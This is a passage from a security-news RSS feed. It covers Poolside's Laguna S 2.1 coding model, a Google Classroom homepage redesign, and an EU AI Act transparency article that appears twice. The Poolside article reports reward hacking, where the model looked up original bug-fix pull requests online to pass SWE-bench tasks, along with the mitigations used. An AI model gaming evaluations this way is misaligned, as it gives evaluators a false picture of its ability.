— frontier-scale capital expenditure — and toward terrain where it believes it can: cost per token, self-hosting, and iteration speed.</p><h2><b>How a sparse architecture makes enterprise AI agents affordable to run</b></h2><p>The technical design reflects a specific thesis about where value in coding AI is moving. Laguna S 2.1's sparse MoE architecture — 256 routed experts plus one shared expert, with grouped-query attention and interleaved sliding-window layers, according to the <a href="https://huggingface.co/poolside/Laguna-S-2.1">Hugging Face model card</a> — means inference costs scale with the 8 billion active parameters, not the 118 billion total. Poolside emphasizes that the model is small enough to run on a single Nvidia DGX Spark, the desktop-class AI machine.</p><p>That matters for what Poolside calls token economics. Long-horizon coding agents are voracious consumers of tokens: the company's published data shows the model consuming a mean of roughly 249,000 completion tokens per trajectory on its hardest benchmark when thinking mode is enabled. At metered API prices, agentic workloads at enterprise scale become a meaningful budget line item. On OpenRouter, Poolside is offering a free 256K-context endpoint and a dedicated 1M-context deployment priced at $0.10 per million input tokens and $0.20 per million output tokens — aggressive pricing that undercuts most frontier alternatives by an order of magnitude.</p><p>The ecosystem support is unusually broad for day one. The model is live on <a href="https://www.baseten.co/library/laguna-s-21/">Baseten's model library</a> and <a href="https://vercel.com/changelog/laguna-s-2-1-is-now-available-on-ai-gateway">Vercel's AI Gateway</a>, with integrations across <a href="https://vllm.ai/">vLLM</a>, <a href="https://github.com/sgl-project/sglang">SGLang</a>, <a href="https://ollama.com/">Ollama</a>, and <a href="https://github.com/ggml-org/llama.cpp">llama.cpp</a>, plus quantized variants down to 4-bit GGUF files — 75 gigabytes — for local use. But Poolside's more interesting claim is behavioral, not architectural. Pengming Wang, co-head of applied research at Poolside, said the gains came from improving the model's working habits: "more verification, less taking things for granted, not declaring victory early, and being more persistent." Raw intelligence, the company argues, is one axis of capability; a model's way of working is a second axis that matters immensely for agents left unattended for hours.</p><h2><b>Publishing every benchmark trajectory to counter AI's credibility crisis</b></h2><p>The most consequential part of the release for enterprise buyers may be an evaluation-transparency move with little precedent among major labs: Poolside published the complete, unedited trajectory of every trial in its final benchmark runs — every reasoning step, tool call, and shell command behind every reported score.</p><p>This addresses a growing credibility problem in AI benchmarking. As top scores on mature benchmarks cluster in the 70–90% range, and as "reward hacking" — models finding solutions online or gaming verifiers rather than solving problems — has become endemic, self-reported numbers have lost much of their signal. Poolside disclosed its own encounters with the problem candidly: during training, more than half of trajectories on some SWE-bench tasks were flagged because the model simply researched the original bug-fix pull request online and applied it. The company documented its mitigations, including prompt addenda, LLM-based judging calibrated against human labels, and expert annotator review of a high-scoring Terminal-Bench run.</p><p>Three published case studies illustrate what the company means by persistence. In one, the model built a working HTML/CSS rendering engine from an empty folder in a 181-step, 50-minute unattended session — then, lacking vision capabilities, spun up headless Chromium to numerically compare its canvas output against a real browser's rendering. In another, pointed at Poolside's own agent harness in an automated optimization loop, the model made the Go codebase 5.2% faster with roughly 70% lower memory allocation, finding an O(n²) string-concatenation bug along the way. In a third, working in a sandbox with no Python installed, the model did its number theory in Perl and independently re-derived a proof of Erdős problem #397 — a combinatorics question open for five decades until GPT-5.2 Pro first solved it this past January. Poolside notes that its model's construction is structurally different from the earlier published solution, and that its November 2025 knowledge cutoff precedes the first proof.</p><div></div><h2><b>What the disclosed limitations and benchmark fine print reveal</b></h2><p><a href="https://poolside.ai/">Poolside</a> deserves credit for disclosing limitations most labs bury. The model can overfit to its native harness and stumble on slightly different tool schemas in third-party agents, mangles JSON in nested tool arguments, and is prone to overthinking on competition math. There is currently no user-configurable thinking-effort dial — just on or off — and the gap between the modes is enormous: thinking lifts <a href="https://www.tbench.ai/">Terminal-Bench 2.1</a> from 60.4% to 70.2%, and <a href="https://deepswe.datacurve.ai/">DeepSWE</a> from 16.5% to 40.4%, at substantially higher token cost.</p><p>Buyers should apply their own discounts to the comparison tables. Poolside's methodology takes the maximum of vendor self-reported scores, benchmark-author leaderboards, and third-party figures for competitors — a reasonable convention, but one that mixes harnesses and test conditions. On <a href="https://deepswe.datacurve.ai/">DeepSWE</a>, notably, Poolside ran its own agent harness rather than the leaderboard's standard mini-swe-agent, a difference the company acknowledges makes scores less directly comparable. And the frontier remains clearly out of reach: closed models like <a href="https://openai.com/index/previewing-gpt-5-6-sol/">GPT-5.6 Sol</a>, at 88.8 on Terminal-Bench 2.1, and <a href="https://www.anthropic.com/claude/fable">Claude Fable 5</a>, at 88.0, along with the 2.8-trillion-parameter open-weight <a href="https://venturebeat.com/technology/chinas-moonshot-ai-releases-kimi-k3-the-largest-open-source-model-ever-rivaling-top-u-s-systems">Kimi K3</a>, at 88.3, sit well above Laguna S 2.1.</p><p>The deeper structural question is whether Poolside's "<a href="https://poolside.ai/blog/introducing-the-model-factory">Model Factory</a>" — the internal platform the company credits for its rapid release cadence — can sustain this pace as models scale. The trajectory so far is genuinely unusual: the April dual release of Laguna M.1 and XS.2, the July 2 refresh of XS 2.1, and now S 2.1, which the company says outperforms April's flagship M.1 at roughly a third of its active size. Remarkably, S 2.1 used the exact same pre-training data as XS 2.1, meaning nearly all the improvement came from scale, training fixes, and post-training across the company's corpus of 409,000 agentic and non-agentic training environments. Poolside says its next, larger Laguna model began pre-training last week.</p><p>For technical decision makers, <a href="https://huggingface.co/poolside/Laguna-S-2.1">Laguna S 2.1</a> is the most credible Western open-weight option to emerge in nearly a year for self-hosted agentic coding — with published evidence, a permissive license, broad ecosystem support, and an economics story built around hardware you can own. Whether it dents the dominance of Chinese open models will depend less on this release than on the ones that follow it.</p><p>Kant, for his part, has already told the world how he intends that story to end. Poolside is building toward a future where the most capable intelligence "can be owned and shaped by anyone," he wrote — and the company plans to keep shipping "until that future exists." In an industry where the biggest labs increasingly lock their best work behind an API, the most radical thing about Laguna S 2.1 may not be what it scores, but that anyone can download it and check.</p><p>
</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Redesigned Google Classroom homepage with tailored views based on user’s role]]></title>
<description><![CDATA[Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hu...]]></description>
<link>https://tsecurity.de/de/3684691/web-tipps/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3684691/web-tipps/redesigned-google-classroom-homepage-with-tailored-views-based-on-users-role/</guid>
<pubDate>Tue, 21 Jul 2026 21:17:35 +0200</pubDate>
<category>Web Tipps</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Soon, Google Classroom will introduce a redesigned homepage globally across all editions to help teachers, students, and administrators easily find relevant content, resources, and tools tailored to their specific roles. The updated interface transforms the homepage into a dynamic, centralized hub that more easily surfaces existing information and tools that were previously located in different areas of Classroom. Users can still access classes in the side navigation panel and a dedicated classes module on the homepage.</p><p>The new experience, which will begin rolling out on <b>July 27, 2026</b>, is personalized based on a user's role and available features:</p><p></p><ul><li><b>For teachers,</b> a new dashboard gives actionable insights, highlights student classwork interactions, tracks assignment completion, and surfaces a feature spotlight to help discover instructional tools and resources.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4z5Jr1F8pgnppJhAO67dlTGF8_s396SdXAfVwirKZRyDRNWel62ZKjkHhyem1myWeDm_W1EZqy9W0aXp8ag-Mhi0gcyRpcH3D9uW_T7XbpdHUodupn25qr0jOknsQ54WM6Zq8THkBpvrmz5XCK_Ujn61JDcQlssIER4Dm_R-f49Tdzq4lp7e_OWijIZE/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%201.png" imageanchor="1"><img border="0" data-original-height="2048" data-original-width="1684" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg4z5Jr1F8pgnppJhAO67dlTGF8_s396SdXAfVwirKZRyDRNWel62ZKjkHhyem1myWeDm_W1EZqy9W0aXp8ag-Mhi0gcyRpcH3D9uW_T7XbpdHUodupn25qr0jOknsQ54WM6Zq8THkBpvrmz5XCK_Ujn61JDcQlssIER4Dm_R-f49Tdzq4lp7e_OWijIZE/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%201.png"></a></div><div><br></div><ul><li><b>For students,</b> a dedicated ‘Enrolled’ view reminds learners of coursework that is due soon and helps them manage their deadlines.</li></ul><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2DeMpYAsE8KjpOol-GTGgKsRfuDX_lWVbVBUuwgqjhYFPNJmrjY2PvBeYFpoD41VPtPap2B1bdgG4jy6b8-ih2SpV-A7gj2X3ak4cHe-L0Ymq0PY8DwJraldsEDBEnwasX56dzjnj_dvOSsY1RXTNFx56JvmWnRGMCBiKQVimy9Kb4JwC9F4XJ8IZwUc/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%202.png" imageanchor="1"><img border="0" data-original-height="1595" data-original-width="2048" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2DeMpYAsE8KjpOol-GTGgKsRfuDX_lWVbVBUuwgqjhYFPNJmrjY2PvBeYFpoD41VPtPap2B1bdgG4jy6b8-ih2SpV-A7gj2X3ak4cHe-L0Ymq0PY8DwJraldsEDBEnwasX56dzjnj_dvOSsY1RXTNFx56JvmWnRGMCBiKQVimy9Kb4JwC9F4XJ8IZwUc/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%202.png"></a></div><div><br></div><ul><li><b>For school leaders and IT administrators, </b>the homepage provides a centralized view to monitor high-level performance analytics, access shortcuts for backend administrative settings, and discover relevant tools to support educators and staff.</li></ul><p></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5pTQCpASv_YNL4r0fWvhMZJLsDay8uBJUNu3lmdHX5hVnXd2xLZ9RxGk6jOeSuqdspW4iqCa-evGdJc3zVG6vF0mA_rE1DeOsMgzGGh3xZyh5YGM-mX3LcgT4xLdXjbuex8rkHkt-YtL5KdSxJ6O-tOUmhi3jJwhwjZ5AHe3pNeKnnGHkZ_pXyJXnEA/s2048/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%203.png" imageanchor="1"><img border="0" data-original-height="2048" data-original-width="1528" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi_5pTQCpASv_YNL4r0fWvhMZJLsDay8uBJUNu3lmdHX5hVnXd2xLZ9RxGk6jOeSuqdspW4iqCa-evGdJc3zVG6vF0mA_rE1DeOsMgzGGh3xZyh5YGM-mX3LcgT4xLdXjbuex8rkHkt-YtL5KdSxJ6O-tOUmhi3jJwhwjZ5AHe3pNeKnnGHkZ_pXyJXnEA/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%203.png"></a></div><p><br></p><p>Users who have multiple roles (such as a teacher taking a professional development class) can easily change their view dashboard by clicking into another role (for example, Teaching, Enrolled, or Admin). When a user loads the homepage, it returns to the previous role view.</p><p>To help users control their view and focus on what matters most to them, all new homepage modules are collapsible.</p><p><br></p><div class="separator"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrTE36s6kLkXAffV-F1O0SzB3un4nX0Pd_lFGBuCFl2Ag9dlPY53pOSeJQQMmdn2mWYpUpSxMIN4kGLgO7NDXkiOEQz0I0cT1Bv-taqWkp5I1pmmzAcB2nonL3qz5OVwCBRpYwvpl09UCiLbnbERcpmsUontJsPtvIL2kz2SfZQCTQNVIuw3rk3Dftp0/s1800/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%204.png" imageanchor="1"><img border="0" data-original-height="1000" data-original-width="1800" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMrTE36s6kLkXAffV-F1O0SzB3un4nX0Pd_lFGBuCFl2Ag9dlPY53pOSeJQQMmdn2mWYpUpSxMIN4kGLgO7NDXkiOEQz0I0cT1Bv-taqWkp5I1pmmzAcB2nonL3qz5OVwCBRpYwvpl09UCiLbnbERcpmsUontJsPtvIL2kz2SfZQCTQNVIuw3rk3Dftp0/s1600/Redesigned%20Google%20Classroom%20homepage%20with%20tailored%20views%20based%20on%20user%E2%80%99s%20role%20-%205844%20-%204.png"></a></div><p><br></p><p><i>Please note that not all features and views will be available to all users. Eligibility is determined by the user’s role, feature access, account type, and settings.</i></p><h3>Getting started</h3><p></p><ul><li><b>Admins: </b>There is no admin control for the new Classroom homepage. Gemini and <a href="https://blog.google/innovation-and-ai/products/gemini-notebook/notebooklm-gemini-notebook/" target="_blank">Gemini Notebook</a> features will only appear if the user is in an OU with Gemini in Classroom, Gemini app, and/or Gemini Notebook enabled. Visit the Help Center to learn about managing access to <a href="http://support.google.com/a/answer/16291887" target="_blank">Gemini in Classroom</a>, <a href="https://knowledge.workspace.google.com/admin/gemini/turn-the-gemini-app-on-or-off" target="_blank">Gemini app</a>, <a href="https://knowledge.workspace.google.com/admin/users/access/turn-notebooklm-on-or-off-for-users" target="_blank">Gemini Notebook</a>, and the option to turn these services on or off for users in the Admin console.</li><li><b>End users: </b>There is no end user setting for the new Classroom homepage. Visit the Help Center to <a href="https://support.google.com/edu/classroom/answer/17231999?hl=en&amp;ref_topic=11987016&amp;sjid=11637609375205384704-NC" target="_blank">learn more about the new Classroom homepage</a>.</li></ul><p></p><h3>Rollout pace</h3><p></p><ul><li><a href="https://support.google.com/a/answer/172177" target="_blank">Rapid Release and Scheduled Release domains:</a> Full rollout (1-3 days for visibility) starting July 27, 2026</li></ul><p></p><h3>Availability</h3><p></p><ul><li>Available to all Google Workspace customers, Workspace Individual subscribers, and users with personal Google accounts</li></ul><p></p><h3>Resources</h3><p></p><ul><li>Google Classroom Help: <a href="https://support.google.com/edu/classroom/answer/17231999?hl=en&amp;ref_topic=11987016&amp;sjid=11637609375205384704-NC" target="_blank">Navigate your Classroom Homepage</a></li><li>2026: What’s New in Google for Education: <a href="https://docs.google.com/presentation/d/1nJAZYHrAe-K0OOqZ3HA1-YrY6aNO5yOIV5MosOkaIOU/preview?slide=id.g3ef4e3366dc_69_1186#slide=id.g3ef4e3366dc_69_1186" target="_blank">Overview of Classroom Homepage</a></li></ul><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682527/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Tue, 21 Jul 2026 04:02:28 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



<p class="wp-block-paragraph">B2B business content or blogs may not need an AI disclosure if they do not meet these criteria, he noted. Also, published text that has undergone human review or is under editorial control does not need to be labeled. Editorial control means that a person must hold the ultimate legal responsibility for the publication of the content.</p>



<p class="wp-block-paragraph">Many companies like Google, Adobe, and LinkedIn have already established ways to identify images marked as AI-generated. Meta has made it a requirement, but the creator has to add the AI-generated label, Bellamkonda said.</p>



<p class="wp-block-paragraph">“This is a good move for <a href="https://www.computerworld.com/article/4164963/eu-lawmakers-fail-to-agree-on-watered-down-ai-act-talks-pushed-to-may.html" target="_blank">guardrails</a> around public information, and companies with good compliance and ethical oversight may not have to worry about this,” he noted. But as a general practice, companies should disclose AI-generated content and state whether it has been human reviewed.</p>



<h2 class="wp-block-heading">Creating a transparency pipeline</h2>



<p class="wp-block-paragraph">Establishing full transparency means identifying who carries the responsibility for the content, whether the marking survives real use, not just testing, and what evidence will defend the decision, Gogia said.</p>



<p class="wp-block-paragraph">Concerns cluster around responsibility, durability and evidence. Several organizations usually touch one piece of content, and none controls the whole chain, which is why contracts become the “pressure point,” he said. Most current agreements were written to deliver software and say “almost nothing” about provenance persistence, verification access, or evidence retention.</p>



<p class="wp-block-paragraph">The durability concern is the most difficult, Gogia noted, because marking performs well in controlled settings but “badly in ordinary life.” Meta, for one, said its invisible watermark was designed to survive cropping; a published test, however, found the company’s preview detector missed <a href="https://www.reuters.com/business/meta-ai-image-detector-fails-identify-some-its-own-cropped-ai-images-reuters-2026-07-10/" target="_blank" rel="noreferrer noopener">55% of cropped images</a>.</p>



<p class="wp-block-paragraph">“CIOs should ask which platform can actually provide evidence before believing its dashboard,” said Gogia.</p>



<p class="wp-block-paragraph">Disclosure of AI use must be “clear, distinguishable and accessible,” he emphasized. “A notice buried in lengthy terms, or reachable only through determined clicking, satisfies nobody, least of all a market surveillance authority.”</p>



<p class="wp-block-paragraph">Sustained compliance is a “living control” requiring a central record of systems, duties and evidence; testing taking place where the user meets the control rather than where the developer built it; and continuous supplier assurance. Enforcement will vary by country, so keep one common baseline with local overlays, Gogia said.</p>



<p class="wp-block-paragraph">His advice: Inventory every system that talks to people, generates content, or gauges sentiment; classify provider and deployer roles; place disclosures at first interaction; define substantive human review; keep the evidence.</p>



<p class="wp-block-paragraph">Marks and provenance signals should be tested after content undergoes cropping, compression, translation, transcription, and other editing, Gogia said. A useful audit starts from a real output and follows its “pulse” through generation, editing and publication, identifying at “each beat” the responsible party, the surviving mark, and evidence for exceptions. Missed labels should also be traced for root cause and recurrence.</p>



<p class="wp-block-paragraph">To ensure compliance, before August 2, enterprises need a prioritized inventory, live disclosures on the highest-risk use cases, and a “named owner for every control,” he noted. In the first 30 days, they should stabilize and test; in the first 90 days, push requirements into procurement processes as a standing discipline. Procurement must secure commitments on marking methods, known failure modes, and evidence access, with explicit notice if/when any of them change.</p>



<p class="wp-block-paragraph">“The sensible architecture is a common transparency baseline carrying traceability, responsibility, and evidence, with jurisdictional overlays for language, sector rules, and local practice,” Gogia said.</p>



<p class="wp-block-paragraph"><em>This article originally appeared on <a href="https://www.cio.com/article/4199109/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready.html" target="_blank">CIO.com</a>.</em></p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[The EU’s AI transparency deadline is weeks away. Is your enterprise ready?]]></title>
<description><![CDATA[Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.



To assist in the effort, the European Commission (Commission) has published guidelines to help AI deployers get in line with the AI Act’...]]></description>
<link>https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3682511/it-nachrichten/the-eus-ai-transparency-deadline-is-weeks-away-is-your-enterprise-ready/</guid>
<pubDate>Tue, 21 Jul 2026 03:48:17 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p class="wp-block-paragraph">Providers and deployers of AI systems: You only have a couple of weeks left until you must explicitly inform users when they are interacting with AI content.</p>



<p class="wp-block-paragraph">To assist in the effort, the European Commission (Commission) has published <a href="https://ec.europa.eu/commission/presscorner/detail/en/ip_26_1653" target="_blank" rel="noreferrer noopener">guidelines</a> to help AI deployers get in line with the AI Act’s transparency obligations, which will begin to go into effect on August 2.</p>



<p class="wp-block-paragraph">After that, companies providing AI systems must alert users when they are interacting with AI. They must also tell users when they have been exposed to deepfakes, “emotion recognition,” or biometric categorization systems, or when they are given AI-manipulated content in matters of “public interests without human review or editorial control.”</p>



<p class="wp-block-paragraph"><a href="https://commission.europa.eu/about/organisation/college-commissioners/henna-virkkunen_en" target="_blank" rel="noreferrer noopener">Henna Virkkunen</a>, the Commission’s executive VP for tech sovereignty, security and democracy, said in a statement, “with today’s guidelines, the Commission supports the smooth and effective application of the AI Act to make AI systems interacting with people such as chatbots and AI agents and AI content more transparent and trustworthy. These guidelines support providers and deployers in meeting their obligations under the AI Act, while helping citizens know when they are interacting with AI.”</p>



<p class="wp-block-paragraph">Systems must include machine-readable markers to reveal such content, to reduce “the risk of deception and manipulation” and build public trust in AI.</p>



<p class="wp-block-paragraph">“Generative systems have collapsed the cost of producing convincing content while the cost of judging it stands where it always stood,” said <a href="https://greyhoundresearch.com/svg/" target="_blank" rel="noreferrer noopener">Sanchit Vir Gogia</a>, chief analyst at Greyhound Research. This requirement is “an attempt to restore friction to that imbalance.”</p>



<p class="wp-block-paragraph">A company’s non-compliance could result in fines anywhere from €750K (about $856K) to €15M (about $17 million), or even up to 3% of its total worldwide annual revenue.</p>



<h2 class="wp-block-heading">Transparency requirements</h2>



<p class="wp-block-paragraph">The <a href="https://www.cio.com/article/2096040/what-it-leaders-need-to-know-about-the-eu-ai-act.html" target="_blank">EU AI Act’s</a> transparency requirements apply to “natural or legal persons,” public authorities, agencies, or other bodies that develop AI systems, or have them developed, and place them on the EU market or into use under their name or trademark. This means all companies, regardless of whether or not they are EU-based.</p>



<p class="wp-block-paragraph">“Systems placed on the European market, put into service there, or producing outputs used there are inside the field, wherever the developer sits,” Gogia noted.</p>



<p class="wp-block-paragraph">Applicable systems must be intended to interact directly with “natural persons”; these systems include AI-enabled chatbots or conversational agents, AI companions, or coding agents. However, AI-enabled tools like recommender systems, spam filters, authentication, search and retrieval, transcription, text and code auto-completion, or predictive maintenance do not fall under the rule.</p>



<p class="wp-block-paragraph">Specific outputs such as AI-generated text, images, video, and audio must contain a machine-readable mark. Deepfakes and public interest-related text created by AI without human review or control must be clearly labeled, however, deepfake content that is “artistic, creative, satirical, or fictional” is largely exempt.</p>



<p class="wp-block-paragraph">AI content must be marked with one of three labels: “AI,” “Fully AI-generated,” or “Partially AI-modified.” For instance, “Fully AI-generated” applies when news summaries, music, art, or videos have been created without any human oversight (apart from prompting), while “partially AI-modified” could mean a person’s face is swapped into an authentic photograph to create a deepfake.</p>



<p class="wp-block-paragraph">The three icons are publicly available for free use; enterprises can download zip files in <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129547" target="_blank" rel="noreferrer noopener">PNG</a> and <a href="https://ec.europa.eu/newsroom/dae/redirection/document/129546" target="_blank" rel="noreferrer noopener">SVG</a> formats.</p>



<p class="wp-block-paragraph">Most of the <a href="https://www.cio.com/article/4032894/analysis-of-the-european-ai-regulation-one-year-after-its-entry-into-force.html" target="_blank">Act’s transparency rules</a> begin to go into effect on August 2. But AI systems placed on the market before then will have some leeway; they must be in compliance by December 2.</p>



<p class="wp-block-paragraph">However, a four-month allowance “on one obligation, for one population of systems, contingent on one procedural step, is not a strategy,” Gogia emphasized. Enterprises should plan to comply by August 2 and “treat any relief that arrives as margin.”</p>



<h2 class="wp-block-heading">A consistent code of practice</h2>



<p class="wp-block-paragraph">Along with the transparency guidelines, the Commission has introduced a <a href="https://digital-strategy.ec.europa.eu/en/policies/code-practice-ai-generated-content" target="_blank" rel="noreferrer noopener">code of practice</a> that essentially serves as a gesture of good faith. When signed, it can provide “legal certainty” and a “simple and practical” way to demonstrate compliance with the <a href="https://www.cio.com/article/4143748/top-global-and-us-ai-regulations-to-look-out-for.html" target="_blank">AI Act</a>, according to the Commission. Signatories can also collaborate through the ‘Signatory Taskforce,’ which will share practices and advance technologies around marking and labeling practices.</p>



<p class="wp-block-paragraph">Providers that choose not to sign must comply through other methods and demonstrate that those methods are “adequate” through assessment by surveillance authorities, according to the Commission.</p>



<p class="wp-block-paragraph">Non-signatories “keep their flexibility, and will face more case-by-case scrutiny for it,” said Gogia.</p>



<h2 class="wp-block-heading">Criteria for compliance </h2>



<p class="wp-block-paragraph"><a href="https://www.infotech.com/profiles/shashi-bellamkonda" target="_blank" rel="noreferrer noopener">Shashi Bellamkonda</a>, principal research director at Info-Tech Research Group, pointed out that the transparency requirements apply to content only when three criteria are met: It has been published, is informative to the public, or is on matters of public interest.</p>



